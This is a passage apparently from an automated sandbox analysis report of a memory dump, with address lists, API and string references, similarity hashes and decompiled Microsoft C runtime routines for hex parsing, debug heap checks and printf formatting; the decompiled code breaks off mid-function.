0x0041c5b8
0x0041c5bb
0x0041c5c1
0x0041c5c1
0x0041c59a
0x0041c59a
0x0041c59d
0x0041c5a3
0x0041c5a5
0x0041c5ab
0x0041c5ab
0x00000000
0x00000000
0x0041c1e8
0x0041c1e8
0x00000000
0x00000000
0x0041bac8
0x0041bac8
0x0041bacf
0x0041bad1
0x0041bad3
0x0041bad6
0x0041bad6
0x0041bad8
0x0041bad8
0x0041badb
0x00000000
0x00000000
0x0041c0a7
0x0041c0ae
0x00000000
0x00000000
0x00000000
0x00000000
0x0041bae0
0x0041bae0
0x0041bae7
0x0041bae9
0x0041baeb
0x0041baee
0x0041baee
0x0041baf1
0x0041baf1
0x0041baf4
0x0041baf7
0x0041bafa
0x0041bafd
0x0041bb00
0x0041bb03
0x0041bb06
0x0041bb09
0x0041bb0c
0x0041bb11
0x0041bb14
0x0041bb17
0x0041bb1a
0x0041bb1a
0x0041bb1d
0x0041bb1d
0x0041bb28
0x0041bb30
0x0041bb34
0x0041bb36
0x0041bb39
0x0041bb3c
0x0041bb3f
0x0041bb41
0x0041bb45
0x0041bb48
0x0041bb48
0x0041bb4b
0x0041bb4e
0x0041bb51
0x0041bb51
0x0041bb3f
0x0041bb55
0x0041bb55
0x0041bb55
0x0041bb58
0x0041bb5b
0x0041bb5e
0x00000000
0x00000000
0x0041bb64
0x0041bb64
0x0041bb67
0x0041bb69
0x0041bb6f
0x0041bb72
0x0041bb75
0x0041bb79
0x0041bb7c
0x0041bb91
0x0041bb91
0x0041bb94
0x0041bb9b
0x0041bba2
0x0041bbaa
0x0041bbac
0x0041bbb3
0x0041bbb9
0x0041bbbc
0x0041bbbf
0x0041bc70
0x0041bc74
0x0041bc74
0x0041bc74
0x00000000
0x0041bc74
0x0041bb7e
0x0041bb7e
0x0041bb82
0x0041bb84
0x00000000
0x00000000
0x0041bb86
0x0041bb86
0x0041bb89
0x0041bb8c
0x0041bb8f
0x0041bbc7
0x0041bbc7
0x0041bbca
0x0041bbcc
0x0041bbd2
0x0041bbd5
0x0041bbd8
0x0041bbdc
0x0041bbe0
0x0041bbe2
0x0041bbec
0x0041bbef
0x0041bbf2
0x0041bbf5
0x0041bbe4
0x0041bbe4
0x0041bbe7
0x0041bbe7
0x0041bbf8
0x0041bbfb
0x0041bc08
0x0041bc08
0x0041bc08
0x0041bc0c
0x0041bc10
0x0041bc12
0x00000000
0x00000000
0x0041bc14
0x0041bc18
0x0041bc1f
0x0041bc27
0x0041bc29
0x0041bc30
0x0041bc36
0x0041bc39
0x0041bc3c
0x0041bc00
0x0041bc03
0x0041bc03
0x0041bc05
0x0041bc05
0x0041bc41
0x0041bc45
0x0041bc4c
0x0041bc54
0x0041bc56
0x0041bc5d
0x0041bc5d
0x0041bc63
0x0041bc66
0x0041bc69
0x0041bc6c
0x00000000
0x0041bc6c
0x00000000
0x0041bb8f
0x0041bc75
0x0041bc75
0x0041bc78
0x0041bc7b
0x0041bc7d
0x0041bc84
0x0041bc84
0x0041bc88
0x0041bc8a
0x0041bc8d
0x0041bc8d
0x0041bc90
0x0041bc93
0x0041bc99
0x0041bc9c
0x0041bcaa
0x0041bcaf
0x0041bcb2
0x0041bcb6
0x0041bcbb
0x0041bcbb
0x0041bcbe
0x0041bcbe
0x0041bcc1
0x0041bcc1
0x0041bcc1
0x0041bcc8
0x00000000
0x00000000
0x0041bcca
0x0041bcd3
0x0041bcd6
0x0041bcd8
0x0041be71
0x0041be71
0x0041be75
0x0041bf55
0x0041bf55
0x0041bf58
0x0041bf5b
0x0041c096
0x00000000
0x0041c096
0x0041bf61
0x0041bf65
0x0041bf67
0x0041bf73
0x0041bf76
0x0041bf7a
0x0041bf84
0x0041bf86
0x0041c01a
0x0041c01d
0x0041c021
0x0041c023
0x0041c02a
0x0041c035
0x0041c038
0x0041c048
0x0041c04e
0x0041c06a
0x0041c06a
0x0041c06c
0x0041c050
0x0041c050
0x0041c056
0x0041c056
0x0041c081
0x0041c08c
0x0041c091
0x0041c091
0x0041c038
0x0041c02a
0x0041bf8c
0x0041bf91
0x0041bf94
0x0041bf98
0x0041bf9a
0x0041bfa1
0x0041bfae
0x0041bfb1
0x0041bfc3
0x0041bfc9
0x0041bfe7
0x0041bfe7
0x0041bfe9
0x0041bfcb
0x0041bfcb
0x0041bfd1
0x0041bfd1
0x0041c000
0x0041c00d
0x0041c012
0x0041c012
0x0041bfb1
0x0041bfa1
0x0041c015
0x0041bf86
0x0041bf7a
0x0041cacb
0x0041cacb
0x0041cad4
0x0041cb03
0x00000000
0x0041cb06
0x0041cacb
0x0041be7b
0x0041be80
0x0041be8a
0x0041be8c
0x0041bef2
0x0041bef5
0x0041bef8
0x0041befc
0x0041befe
0x0041bf05
0x0041bf07
0x0041bf0b
0x0041bf13
0x0041bf19
0x0041bf2c
0x0041bf2c
0x0041bf2f
0x0041bf1b
0x0041bf1b
0x0041bf21
0x0041bf21
0x0041bf44
0x0041bf48
0x0041bf4d
0x0041bf4d
0x0041bf0b
0x0041bf05
0x0041be8e
0x0041be90
0x0041be93
0x0041be96
0x0041be9a
0x0041be9c
0x0041bea3
0x0041bea5
0x0041bea9
0x0041beb1
0x0041beb7
0x0041beca
0x0041beca
0x0041becd
0x0041beb9
0x0041beb9
0x0041bebf
0x0041bebf
0x0041bee4
0x0041bee8
0x0041beed
0x0041beed
0x0041bea9
0x0041bea3
0x0041bef0
0x00000000
0x0041bf50
0x0041bcde
0x0041bce4
0x0041bceb
0x0041bcf0
0x0041bcf3
0x0041bcf9
0x0041bd00
0x0041be4e
0x0041be54
0x0041be57
0x0041be62
0x0041be67
0x00000000
0x0041be67
0x0041bd06
0x0041bd06
0x0041bd0a
0x0041bd65
0x0041bd65
0x0041bd69
0x0041bd6b
0x0041be43
0x0041be46
0x0041be46
0x0041be49
0x0041be4c
0x0041bcc1
0x0041bcc1
0x0041bcc8
0x00000000
0x00000000
0x00000000
0x0041bcc8
0x0041bd71
0x0041bd71
0x0041bd75
0x0041bd83
0x0041bd87
0x0041bd89
0x0041be2d
0x0041be35
0x0041be3b
0x0041be3b
0x0041be3e
0x0041bd8f
0x0041bd95
0x0041bda3
0x0041bda8
0x0041bdab
0x0041bdad
0x0041bdb2
0x0041bdb2
0x0041bdb5
0x0041bdbc
0x0041bdc1
0x0041bdc4
0x0041bdc4
0x0041bdcf
0x0041bdd9
0x0041bdfe
0x0041be03
0x0041be09
0x0041be0d
0x0041be16
0x0041be1f
0x0041be1f
0x00000000
0x0041be41
0x0041bd77
0x0041bd77
0x00000000
0x0041bd77
0x0041bd0c
0x0041bd0c
0x0041bd10
0x0041bd2d
0x0041bd2d
0x0041bd31
0x00000000
0x00000000
0x0041bd37
0x0041bd3d
0x0041bd40
0x0041bd5d
0x0041bd5f
0x00000000
0x00000000
0x00000000
0x0041bd5f
0x0041bd12
0x0041bd12
0x0041bd19
0x0041bd24
0x0041bd24
0x0041bd2b
0x00000000
0x00000000
0x00000000
0x0041bd2b
0x0041bd1b
0x0041bd1b
0x0041bd22
0x00000000
0x00000000
0x00000000
0x0041bd22
0x0041bcc1
0x0041bc7f
0x00000000
0x00000000
0x00000000
0x00000000
0x0041ba87
0x0041b9dc
0x0041b9e0
0x0041b9ee
0x0041b9f1
0x0041b9fa
0x0041ba03
0x0041ba09
0x0041ba12
0x0041ba1b
0x0041ba1e
0x0041ba21
0x0041ba28
0x00000000
0x0041ba2a
0x0041ba2a
0x0041ba33
0x0041ba3f
0x0041ba42
0x0041ba35
0x0041ba37
0x0041ba3a
0x0041ba3a
0x0041ba4a
0x00000000
0x0041ba4a
0x0041ba28
0x0041b9e2
0x0041b9e6
0x00000000
0x00000000
0x0041b9e8
0x0041b9ec
0x00000000
0x00000000
0x00000000
0x0041b9ec
0x0041b9ca
0x0041b9ce
0x0041cadc
0x0041cae2
0x0041cae9
0x0041caf0
0x0041caf5
0x00000000
0x0041caf5
0x00000000
0x0041b9ce
0x0041b9b3
0x0041b9ba
0x00000000
0x0041b9bc
0x00000000
0x0041b9bc
0x0041b9ba
0x0041b96e
0x0041b972
0x0041b992
0x0041b995
0x0041b998
0x0041b99f
0x0041b9a4
0x0041b9a7
0x00000000
0x0041b9a7
0x0041b974
0x0041b978
0x00000000
0x0041b97a
0x0041b982
0x0041b987
0x0041b98a
0x00000000
0x0041b98a
0x0041b927
0x0041b927
0x0041b930
0x0041b93d
0x0041b946
0x00000000
0x0041b946
0x0041b932
0x0041b93b
0x0041b954
0x0041b956
0x00000000
0x0041b956
0x00000000
0x0041b93b
0x0041b925
0x0041b5ff
0x0041b605
0x0041b61d
0x0041b622
0x0041b625
0x0041b625
0x0041b62b
0x0041b633
0x0041b63b
0x0041b640
0x0041b643
0x00000000
0x0041b625
0x0041b5fd
0x00000000
0x0041b5de
0x0041cc0b
0x0041cacb
0x0041c58b
0x0041c58b
0x0041c58e
0x0041c591
0x00000000
0x0041c591
0x00000000
0x0041c581
0x0041c244
0x0041c10d
0x0041c110
0x0041c113
0x0041c116
0x0041c122
0x0041c128
0x0041c132
0x0041c140
0x0041c143
0x0041c146
0x0041c149
0x0041c155
0x0041c162
0x0041c164
0x0041c167
0x0041c16a
0x0041c171
0x0041c173
0x0041c176
0x0041c179
0x0041c179
0x0041c171
0x0041c17c
0x00000000
0x0041c17c
0x0041c134
0x0041c134
0x0041c13e
0x0041c185
0x0041c18b
0x0041c18e
0x0041c198
0x0041c1c0
0x0041c1c3
0x0041c1c6
0x0041c1c9
0x0041c1cd
0x0041c1d4
0x0041c1dc
0x0041c19a
0x0041c1a1
0x0041c1a3
0x0041c1a6
0x0041c1a9
0x0041c1ac
0x0041c1ae
0x0041c1b1
0x0041c1b4
0x0041c1b4
0x0041c1ac
0x0041c1b7
0x0041c1b7
0x00000000
0x0041c198
0x00000000
0x0041c13e
0x0041c0d1
0x0041c0d8
0x00000000
0x00000000
0x0041c0da
0x0041c0da
0x0041c0dd
0x0041c0e0
0x00000000
0x0041c0bd
0x0041c0c4
0x00000000
0x00000000
0x00000000
0x0041c0c4
0x0041c0a7

APIs

__inc.LIBCMTD ref: 0041C0F2
__inc.LIBCMTD ref: 0041C11A
__inc.LIBCMTD ref: 0041C14D
__un_inc.LIBCMTD ref: 0041C1D4
_isxdigit.LIBCMTD ref: 0041C26E
__hextodec.LIBCMTD ref: 0041C2A1

Strings

F, xrefs: 0041C56A
8, xrefs: 0041C484

Memory Dump Source

Source File: 00000000.00000002.683771159.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.683744708.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.683860561.000000000043E000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.683876679.000000000044B000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.683890164.00000000004CB000.00000002.00020000.sdmp Download File

Similarity

API ID: __inc$__hextodec__un_inc_isxdigit
String ID: 8$F
API String ID: 3652663768-3144575033
Opcode ID: 35c34453644d183d541d40b3dd801809ecf6b382c0acdacbc017b7af63e90a4e
Instruction ID: 30c7044faffa1ed2e23c3e2fe83cd78b1faf08bc30817a701e1e55642bba8abb
Opcode Fuzzy Hash: 35c34453644d183d541d40b3dd801809ecf6b382c0acdacbc017b7af63e90a4e
Instruction Fuzzy Hash: 17026B74D8426D9BCF24CBA4DC947FEBB71AF15308F2481DAD41966342D2399AC2CF89

Uniqueness

Uniqueness Score: -1.00%

Function 0041DE35, Relevance: 30.0, APIs: 6, Strings: 11, Instructions: 264memoryCOMMON

Download Yara Rule

APIs

_CheckBytes.LIBCMTD ref: 0041DE49
__CrtIsValidHeapPointer.LIBCMTD ref: 0041DED5
_CheckBytes.LIBCMTD ref: 0041DF80
_CheckBytes.LIBCMTD ref: 0041E03A
_memset.LIBCMT ref: 0041E131
__free_base.LIBCMTD ref: 0041E13D

Strings

_CrtIsValidHeapPointer(pUserData), xrefs: 0041DEE1
HEAP CORRUPTION DETECTED: after %hs block (#%d) at 0x%p.CRT detected that the application wrote to memory after end of heap buffer.Memory allocated at %hs(%d)., xrefs: 0041E083
HEAP CORRUPTION DETECTED: before %hs block (#%d) at 0x%p.CRT detected that the application wrote to memory before start of heap buffer.Memory allocated at %hs(%d)., xrefs: 0041DFC9
Client hook free failure., xrefs: 0041DEAC
The Block at 0x%p was allocated by aligned routines, use _aligned_free(), xrefs: 0041DE59
pHead->nLine == IGNORE_LINE && pHead->lRequest == IGNORE_REQ, xrefs: 0041E0FA
HEAP CORRUPTION DETECTED: after %hs block (#%d) at 0x%p.CRT detected that the application wrote to memory after end of heap buffer., xrefs: 0041E0C1
_BLOCK_TYPE_IS_VALID(pHead->nBlockUse), xrefs: 0041DF3F
HEAP CORRUPTION DETECTED: before %hs block (#%d) at 0x%p.CRT detected that the application wrote to memory before start of heap buffer., xrefs: 0041E007
tDj, xrefs: 0041DE8B
f:\dd\vctools\crt_bld\self_x86\crt\src\dbgheap.c, xrefs: 0041DEED, 0041DF4B, 0041E106

Memory Dump Source

Source File: 00000000.00000002.683771159.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.683744708.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.683860561.000000000043E000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.683876679.000000000044B000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.683890164.00000000004CB000.00000002.00020000.sdmp Download File

Similarity

API ID: BytesCheck$HeapPointerValid__free_base_memset
String ID: Client hook free failure.$HEAP CORRUPTION DETECTED: after %hs block (#%d) at 0x%p.CRT detected that the application wrote to memory after end of heap buffer.$HEAP CORRUPTION DETECTED: after %hs block (#%d) at 0x%p.CRT detected that the application wrote to memory after end of heap buffer.Memory allocated at %hs(%d).$HEAP CORRUPTION DETECTED: before %hs block (#%d) at 0x%p.CRT detected that the application wrote to memory before start of heap buffer.$HEAP CORRUPTION DETECTED: before %hs block (#%d) at 0x%p.CRT detected that the application wrote to memory before start of heap buffer.Memory allocated at %hs(%d).$The Block at 0x%p was allocated by aligned routines, use _aligned_free()$_BLOCK_TYPE_IS_VALID(pHead->nBlockUse)$_CrtIsValidHeapPointer(pUserData)$f:\dd\vctools\crt_bld\self_x86\crt\src\dbgheap.c$pHead->nLine == IGNORE_LINE && pHead->lRequest == IGNORE_REQ$tDj
API String ID: 25084783-3417358119
Opcode ID: 7bcc4b4c4ff352f9eb32838a82acedce67739f73296aa1d5ee15851c5864ad86
Instruction ID: a1f4c5ac2509c9b3378d1fd071fd20bd74cf32dba626309adef30c8f54546344
Opcode Fuzzy Hash: 7bcc4b4c4ff352f9eb32838a82acedce67739f73296aa1d5ee15851c5864ad86
Instruction Fuzzy Hash: 5391F274B40204BBDB28CF45DD82FAA7765AB48704F304169F605AB2C6D2B9EE81C79D

Uniqueness

Uniqueness Score: -1.00%

Function 00430387, Relevance: 28.2, APIs: 11, Strings: 5, Instructions: 241
COMMON

Download Yara Rule

C-Code - Quality: 58%

			E00430387(void* __ebx, void* __edi, void* __esi, void* __eflags) {
				signed int* _t494;
				signed int _t502;
				void* _t507;
				signed int _t509;
				void* _t529;
				signed int _t547;
				void* _t558;
				signed int _t567;
				void* _t625;
				void* _t626;
				signed int _t627;
				void* _t629;
				void* _t630;

				L0:
				while(1) {
					L0:
					_t626 = __esi;
					_t625 = __edi;
					_t558 = __ebx;
					_t494 = E0042BCB0(_t627 + 0x14);
					_t630 = _t629 + 4;
					 *(_t627 - 0x298) = _t494;
					if(E00432210() != 0) {
						goto L118;
					}
					L109:
					__edx = 0;
					__eflags = 0;
					if(0 == 0) {
						 *(__ebp - 0x32c) = 0;
					} else {
						 *(__ebp - 0x32c) = 1;
					}
					__eax =  *(__ebp - 0x32c);
					 *(__ebp - 0x29c) =  *(__ebp - 0x32c);
					__eflags =  *(__ebp - 0x29c);
					if( *(__ebp - 0x29c) == 0) {
						_push(L"(\"\'n\' format specifier disabled\", 0)");
						_push(0);
						_push(0x695);
						_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
						_push(2);
						__eax = L0041AAF0();
						__esp = __esp + 0x14;
						__eflags = __eax - 1;
						if(__eax == 1) {
							asm("int3");
						}
					}
					__eflags =  *(__ebp - 0x29c);
					if( *(__ebp - 0x29c) != 0) {
						L117:
						while(1) {
							L190:
							__eflags =  *(_t627 - 0x28);
							if( *(_t627 - 0x28) != 0) {
								goto L216;
							}
							L191:
							__eflags =  *(_t627 - 0x10) & 0x00000040;
							if(( *(_t627 - 0x10) & 0x00000040) != 0) {
								__eflags =  *(_t627 - 0x10) & 0x00000100;
								if(( *(_t627 - 0x10) & 0x00000100) == 0) {
									__eflags =  *(_t627 - 0x10) & 0x00000001;
									if(( *(_t627 - 0x10) & 0x00000001) == 0) {
										__eflags =  *(_t627 - 0x10) & 0x00000002;
										if(( *(_t627 - 0x10) & 0x00000002) != 0) {
											 *((char*)(_t627 - 0x14)) = 0x20;
											 *(_t627 - 0x1c) = 1;
										}
									} else {
										 *((char*)(_t627 - 0x14)) = 0x2b;
										 *(_t627 - 0x1c) = 1;
									}
								} else {
									 *((char*)(_t627 - 0x14)) = 0x2d;
									 *(_t627 - 0x1c) = 1;
								}
							}
							 *((intOrPtr*)(_t627 - 0x2c4)) =  *((intOrPtr*)(_t627 - 0x18)) -  *(_t627 - 0x24) -  *(_t627 - 0x1c);
							__eflags =  *(_t627 - 0x10) & 0x0000000c;
							if(__eflags == 0) {
								E00430DC0(0x20,  *((intOrPtr*)(_t627 - 0x2c4)),  *((intOrPtr*)(_t627 + 8)), _t627 - 0x24c);
								_t630 = _t630 + 0x10;
							}
							E00430E00( *(_t627 - 0x1c), __eflags, _t627 - 0x14,  *(_t627 - 0x1c),  *((intOrPtr*)(_t627 + 8)), _t627 - 0x24c);
							_t630 = _t630 + 0x10;
							__eflags =  *(_t627 - 0x10) & 0x00000008;
							if(( *(_t627 - 0x10) & 0x00000008) != 0) {
								__eflags =  *(_t627 - 0x10) & 0x00000004;
								if(( *(_t627 - 0x10) & 0x00000004) == 0) {
									E00430DC0(0x30,  *((intOrPtr*)(_t627 - 0x2c4)),  *((intOrPtr*)(_t627 + 8)), _t627 - 0x24c);
									_t630 = _t630 + 0x10;
								}
							}
							__eflags =  *(_t627 - 0xc);
							if(__eflags == 0) {
								L212:
								E00430E00( *((intOrPtr*)(_t627 - 4)), __eflags,  *((intOrPtr*)(_t627 - 4)),  *(_t627 - 0x24),  *((intOrPtr*)(_t627 + 8)), _t627 - 0x24c);
								_t630 = _t630 + 0x10;
								goto L213;
							} else {
								L204:
								__eflags =  *(_t627 - 0x24);
								if(__eflags <= 0) {
									goto L212;
								}
								L205:
								 *(_t627 - 0x2dc) = 0;
								 *((intOrPtr*)(_t627 - 0x2c8)) =  *((intOrPtr*)(_t627 - 4));
								 *(_t627 - 0x2cc) =  *(_t627 - 0x24);
								while(1) {
									L206:
									 *(_t627 - 0x2cc) =  *(_t627 - 0x2cc) - 1;
									__eflags =  *(_t627 - 0x2cc);
									if( *(_t627 - 0x2cc) == 0) {
										break;
									}
									L207:
									 *(_t627 - 0x32e) =  *((intOrPtr*)( *((intOrPtr*)(_t627 - 0x2c8))));
									_t547 = E00432820(_t627 - 0x2d0, _t627 - 0x2d8, 6,  *(_t627 - 0x32e) & 0x0000ffff);
									_t630 = _t630 + 0x10;
									 *(_t627 - 0x2dc) = _t547;
									 *((intOrPtr*)(_t627 - 0x2c8)) =  *((intOrPtr*)(_t627 - 0x2c8)) + 2;
									__eflags =  *(_t627 - 0x2dc);
									if( *(_t627 - 0x2dc) != 0) {
										L209:
										 *(_t627 - 0x24c) = 0xffffffff;
										break;
									}
									L208:
									__eflags =  *(_t627 - 0x2d0);
									if(__eflags != 0) {
										L210:
										E00430E00( *((intOrPtr*)(_t627 + 8)), __eflags, _t627 - 0x2d8,  *(_t627 - 0x2d0),  *((intOrPtr*)(_t627 + 8)), _t627 - 0x24c);
										_t630 = _t630 + 0x10;
										continue;
									}
									goto L209;
								}
								L211:
								L213:
								__eflags =  *(_t627 - 0x24c);
								if( *(_t627 - 0x24c) >= 0) {
									__eflags =  *(_t627 - 0x10) & 0x00000004;
									if(( *(_t627 - 0x10) & 0x00000004) != 0) {
										E00430DC0(0x20,  *((intOrPtr*)(_t627 - 0x2c4)),  *((intOrPtr*)(_t627 + 8)), _t627 - 0x24c);
										_t630 = _t630 + 0x10;
									}
								}
							}
							L216:
							__eflags =  *(_t627 - 0x20);
							if( *(_t627 - 0x20) != 0) {
								L0041DD40( *(_t627 - 0x20), 2);
								_t630 = _t630 + 8;
								 *(_t627 - 0x20) = 0;
							}
							while(1) {
								L218:
								 *(_t627 - 0x251) =  *( *(_t627 + 0xc));
								_t598 =  *(_t627 - 0x251);
								 *(_t627 + 0xc) =  *(_t627 + 0xc) + 1;
								if( *(_t627 - 0x251) == 0 ||  *(_t627 - 0x24c) < 0) {
									break;
								} else {
									if( *(_t627 - 0x251) < 0x20 ||  *(_t627 - 0x251) > 0x78) {
										 *(_t627 - 0x310) = 0;
									} else {
										 *(_t627 - 0x310) =  *( *(_t627 - 0x251) +  &M004077B8) & 0xf;
									}
								}
								L7:
								 *(_t627 - 0x250) =  *(_t627 - 0x310);
								_t509 =  *(_t627 - 0x250) * 9;
								_t567 =  *(_t627 - 0x25c);
								_t598 = ( *(_t509 + _t567 + 0x4077d8) & 0x000000ff) >> 4;
								 *(_t627 - 0x25c) = ( *(_t509 + _t567 + 0x4077d8) & 0x000000ff) >> 4;
								if( *(_t627 - 0x25c) != 8) {
									L16:
									 *(_t627 - 0x318) =  *(_t627 - 0x25c);
									__eflags =  *(_t627 - 0x318) - 7;
									if( *(_t627 - 0x318) > 7) {
										continue;
									}
									L17:
									switch( *((intOrPtr*)( *(_t627 - 0x318) * 4 +  &M00430C0C))) {
										case 0:
											L18:
											 *(_t627 - 0xc) = 0;
											_t512 = E004254B0( *(_t627 - 0x251) & 0x000000ff, E0041B2D0(_t627 - 0x40));
											_t633 = _t630 + 8;
											__eflags = _t512;
											if(_t512 == 0) {
												L24:
												E00430D10( *(_t627 - 0x251) & 0x000000ff,  *((intOrPtr*)(_t627 + 8)), _t627 - 0x24c);
												_t630 = _t633 + 0xc;
												goto L218;
											} else {
												E00430D10( *(_t627 - 0x251) & 0x000000ff,  *((intOrPtr*)(_t627 + 8)), _t627 - 0x24c);
												_t633 = _t633 + 0xc;
												_t572 =  *( *(_t627 + 0xc));
												 *(_t627 - 0x251) =  *( *(_t627 + 0xc));
												_t598 =  *(_t627 + 0xc) + 1;
												__eflags = _t598;
												 *(_t627 + 0xc) = _t598;
												asm("sbb eax, eax");
												 *(_t627 - 0x27c) =  ~( ~( *(_t627 - 0x251)));
												if(_t598 == 0) {
													_push(L"(ch != _T(\'\\0\'))");
													_push(0);
													_push(0x486);
													_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
													_push(2);
													_t524 = L0041AAF0();
													_t633 = _t633 + 0x14;
													__eflags = _t524 - 1;
													if(_t524 == 1) {
														asm("int3");
													}
												}
												L22:
												__eflags =  *(_t627 - 0x27c);
												if( *(_t627 - 0x27c) != 0) {
													goto L24;
												} else {
													 *((intOrPtr*)(L0041A7C0(_t572))) = 0x16;
													E00419D60(_t572, L"(ch != _T(\'\\0\'))", L"_output_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x486, 0);
													 *(_t627 - 0x2f4) = 0xffffffff;
													E0041B2A0(_t627 - 0x40);
													_t502 =  *(_t627 - 0x2f4);
													goto L229;
												}
											}
										case 1:
											L25:
											 *(__ebp - 0x2c) = 0;
											__edx =  *(__ebp - 0x2c);
											 *(__ebp - 0x28) =  *(__ebp - 0x2c);
											__eax =  *(__ebp - 0x28);
											 *(__ebp - 0x18) =  *(__ebp - 0x28);
											__ecx =  *(__ebp - 0x18);
											 *(__ebp - 0x1c) = __ecx;
											 *(__ebp - 0x10) = 0;
											 *(__ebp - 0x30) = 0xffffffff;
											 *(__ebp - 0xc) = 0;
											goto L218;
										case 2:
											L26:
											__edx =  *((char*)(__ebp - 0x251));
											 *(__ebp - 0x31c) =  *((char*)(__ebp - 0x251));
											 *(__ebp - 0x31c) =  *(__ebp - 0x31c) - 0x20;
											 *(__ebp - 0x31c) =  *(__ebp - 0x31c) - 0x20;
											__eflags =  *(__ebp - 0x31c) - 0x10;
											if( *(__ebp - 0x31c) > 0x10) {
												goto L33;
											}
											L27:
											__ecx =  *(__ebp - 0x31c);
											_t73 = __ecx + 0x430c44; // 0x498d04
											__edx =  *_t73 & 0x000000ff;
											switch( *((intOrPtr*)(( *_t73 & 0x000000ff) * 4 +  &M00430C2C))) {
												case 0:
													goto L30;
												case 1:
													goto L31;
												case 2:
													goto L29;
												case 3:
													goto L28;
												case 4:
													goto L32;
												case 5:
													goto L33;
											}
										case 3:
											L34:
											__edx =  *((char*)(__ebp - 0x251));
											__eflags =  *((char*)(__ebp - 0x251)) - 0x2a;
											if( *((char*)(__ebp - 0x251)) != 0x2a) {
												__eax =  *(__ebp - 0x18);
												__eax =  *(__ebp - 0x18) * 0xa;
												__eflags = __eax;
												__ecx =  *((char*)(__ebp - 0x251));
												_t97 = __ecx - 0x30; // -48
												__edx = __eax + _t97;
												 *(__ebp - 0x18) = __eax + _t97;
											} else {
												__eax = __ebp + 0x14;
												 *(__ebp - 0x18) = E0042BCB0(__ebp + 0x14);
												__eflags =  *(__ebp - 0x18);
												if( *(__ebp - 0x18) < 0) {
													__ecx =  *(__ebp - 0x10);
													__ecx =  *(__ebp - 0x10) | 0x00000004;
													__eflags = __ecx;
													 *(__ebp - 0x10) = __ecx;
													 *(__ebp - 0x18) =  ~( *(__ebp - 0x18));
													 *(__ebp - 0x18) =  ~( *(__ebp - 0x18));
												}
											}
											goto L218;
										case 4:
											L40:
											 *(__ebp - 0x30) = 0;
											goto L218;
										case 5:
											L41:
											__eax =  *((char*)(__ebp - 0x251));
											__eflags =  *((char*)(__ebp - 0x251)) - 0x2a;
											if( *((char*)(__ebp - 0x251)) != 0x2a) {
												__edx =  *(__ebp - 0x30);
												__edx =  *(__ebp - 0x30) * 0xa;
												__eflags = __edx;
												_t108 =  *((char*)(__ebp - 0x251)) - 0x30; // -48
												__ecx = __edx + _t108;
												 *(__ebp - 0x30) = __ecx;
											} else {
												__ecx = __ebp + 0x14;
												 *(__ebp - 0x30) = E0042BCB0(__ebp + 0x14);
												__eflags =  *(__ebp - 0x30);
												if( *(__ebp - 0x30) < 0) {
													 *(__ebp - 0x30) = 0xffffffff;
												}
											}
											goto L218;
										case 6:
											L47:
											__edx =  *((char*)(__ebp - 0x251));
											 *(__ebp - 0x320) =  *((char*)(__ebp - 0x251));
											 *(__ebp - 0x320) =  *(__ebp - 0x320) - 0x49;
											 *(__ebp - 0x320) =  *(__ebp - 0x320) - 0x49;
											__eflags =  *(__ebp - 0x320) - 0x2e;
											if( *(__ebp - 0x320) > 0x2e) {
												L70:
												goto L218;
											}
											L48:
											__ecx =  *(__ebp - 0x320);
											_t116 = __ecx + 0x430c6c; // 0x47e9003
											__edx =  *_t116 & 0x000000ff;
											switch( *((intOrPtr*)(( *_t116 & 0x000000ff) * 4 +  &M00430C58))) {
												case 0:
													L53:
													__edx =  *(__ebp + 0xc);
													__eax =  *( *(__ebp + 0xc));
													__eflags =  *( *(__ebp + 0xc)) - 0x36;
													if( *( *(__ebp + 0xc)) != 0x36) {
														L56:
														__edx =  *(__ebp + 0xc);
														__eax =  *( *(__ebp + 0xc));
														__eflags =  *( *(__ebp + 0xc)) - 0x33;
														if( *( *(__ebp + 0xc)) != 0x33) {
															L59:
															__edx =  *(__ebp + 0xc);
															__eax =  *( *(__ebp + 0xc));
															__eflags =  *( *(__ebp + 0xc)) - 0x64;
															if( *( *(__ebp + 0xc)) == 0x64) {
																L65:
																L67:
																goto L70;
															}
															L60:
															__ecx =  *(__ebp + 0xc);
															__edx =  *__ecx;
															__eflags =  *__ecx - 0x69;
															if( *__ecx == 0x69) {
																goto L65;
															}
															L61:
															__eax =  *(__ebp + 0xc);
															__ecx =  *( *(__ebp + 0xc));
															__eflags = __ecx - 0x6f;
															if(__ecx == 0x6f) {
																goto L65;
															}
															L62:
															__edx =  *(__ebp + 0xc);
															__eax =  *( *(__ebp + 0xc));
															__eflags =  *( *(__ebp + 0xc)) - 0x75;
															if( *( *(__ebp + 0xc)) == 0x75) {
																goto L65;
															}
															L63:
															__ecx =  *(__ebp + 0xc);
															__edx =  *__ecx;
															__eflags =  *__ecx - 0x78;
															if( *__ecx == 0x78) {
																goto L65;
															}
															L64:
															__eax =  *(__ebp + 0xc);
															__ecx =  *( *(__ebp + 0xc));
															__eflags = __ecx - 0x58;
															if(__ecx != 0x58) {
																 *(__ebp - 0x25c) = 0;
																goto L18;
															}
															goto L65;
														}
														L57:
														__ecx =  *(__ebp + 0xc);
														__edx =  *((char*)(__ecx + 1));
														__eflags =  *((char*)(__ecx + 1)) - 0x32;
														if( *((char*)(__ecx + 1)) != 0x32) {
															goto L59;
														} else {
															 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
															 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
															__ecx =  *(__ebp - 0x10);
															__ecx =  *(__ebp - 0x10) & 0xffff7fff;
															 *(__ebp - 0x10) = __ecx;
															goto L67;
														}
													}
													L54:
													__ecx =  *(__ebp + 0xc);
													__edx =  *((char*)(__ecx + 1));
													__eflags =  *((char*)(__ecx + 1)) - 0x34;
													if( *((char*)(__ecx + 1)) != 0x34) {
														goto L56;
													} else {
														 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
														 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
